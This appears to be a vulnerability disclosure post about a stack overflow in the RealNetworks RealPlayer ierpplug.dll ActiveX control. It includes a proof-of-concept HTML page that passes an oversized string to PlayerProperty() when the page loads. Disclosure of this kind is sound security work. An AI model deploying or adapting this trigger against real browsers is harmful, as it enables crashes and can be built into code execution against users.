After some creative Googling, I am revising my original post. I believe
that the Import() method overflow that I originally posted is really
http://www.securityfocus.com/bid/26130, although I am not sure why Linux
is listed under the "Vulnerable" section, so I am taking it out of the PoC
code. Real claims to have patched this back in October, but I can still
throw a stack overflow exception via this function using the originally
stated version of RealPlayer(which I installed last night). I am now listing
this vulnerability as RealNetworks RealPlayer ierpplug.dll ActiveX Control
PlayerProperty() Method Stack Overflow, and it might be wise to list this
under a separate BID. PoC as follows:

-------------
<!--

<html>
 <head>
 <script language="JavaScript" DEFER>
   function Check() {
   var s = "AAAA";

   while (s.length < 999999) s=s+s;

    var obj = new ActiveXObject("IERPCTL.IERPCTL");
//{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}

     var obj2 = obj.PlayerProperty(s);


  }
 </script>

 </head>
 <body onload="JavaScript: return Check();">

 </body>
</html>
